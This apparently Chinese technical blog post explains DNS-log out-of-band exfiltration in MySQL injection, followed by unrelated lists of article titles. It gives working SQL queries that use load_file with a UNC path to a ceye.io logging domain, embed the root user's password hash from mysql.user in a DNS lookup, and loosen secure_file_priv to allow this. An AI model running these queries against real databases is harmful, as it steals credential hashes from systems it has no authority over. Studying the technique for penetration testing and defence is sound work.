0x01 技术原理


这里是利用load_file这个函数利用smb请求方式请求域名机器下的一个文件,由于计算机对该域名不熟悉所以需要优先请求DNS,所以我们通过DNS日志记录中的内容来获取回显。解决了盲注回显的问题,或者是时间注入判断的问题。

熟悉MySQL的人都知道,这个利用有几个要求或者说是限制条件

# 条件1
+ 1、由于基于SMB请求,需要在Windows环境下
# 条件2
+ 2、需要MySQL的配置支持,主要是这个配置需要为空
secure_file_priv

0x02 测试


0x02 - 01 简单的load权限查看


show global variables like '%secure%';



这里满足要求,如果不满足,可以在my.ini或者my.cnf等mysql服务的配置文件中修改[mysqld]项,需要加上如下这行:

secure_file_priv =

0x02 - 02 load一个域名下的文件试试看


select load_file('\\\\root.xxxxxx.ceye.io\\abc');

0x03 - 03 使用拼接函数,对我们想要获取的数据进行拼接


select concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234')

0x02 - 04


select load_file(concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234'));

最新文章

  1. Cordova+Asp.net Mvc+GIS跨平台移动应用开发实战1-系统初步搭建(附演示,apk,全部源码)
  2. HTML的初体验
  3. iOS中文网址路径转换URLEncode
  4. Course Schedule
  5. [LeetCode] Serialize and Deserialize Binary Tree
  6. bzoj 4448 [Scoi2015]情报传递(主席树,LCA)
  7. 集合练习——Set部分
  8. hdu 5030 Rabbit's String(后缀数组&二分法)
  9. AltiumDesigner14绘制四层板设置
  10. Angular4 后台管理系统搭建(10) - 做一个通用的可跨域上传文件的组件
  11. leetcode算法题2: 合并两个二叉树。递归,如何切入并保持清醒?
  12. input输入框限制输入正整数、小数、字母、文字
  13. vue组件-构成组件-父子组件相互传递数据
  14. UOJ #310「UNR #2」黎明前的巧克力
  15. vscode plugins
  16. node.js 使用 net 模块模拟 websocket 握手,进行数据传递。
  17. loadrunner 运行脚本-Run-time Settings-ContentCheck简单设置
  18. javascript进阶笔记(2)
  19. Data - 数据思维
  20. 基于jQuery+CSS3实现人物跳动特效

热门文章

  1. Salesforce 自定义元数据类型
  2. <Stack> 150 71 388
  3. Spring Cloud Gateway 之 AddRequestHeader GatewayFilter Factory
  4. [原创]浅谈在创业公司对PMF的理解
  5. Kubernetes 学习(九)Kubernetes 源码阅读之正式篇------核心组件之 Scheduler
  6. python read readline readlines区别
  7. Unity Shader 2D水流效果
  8. 记一次ssh.exec_command(cmd)执行后读取结果为空
  9. Angular中上传图片到分布式文件服务器FastDFS上
  10. cmd命令和linux命令的区别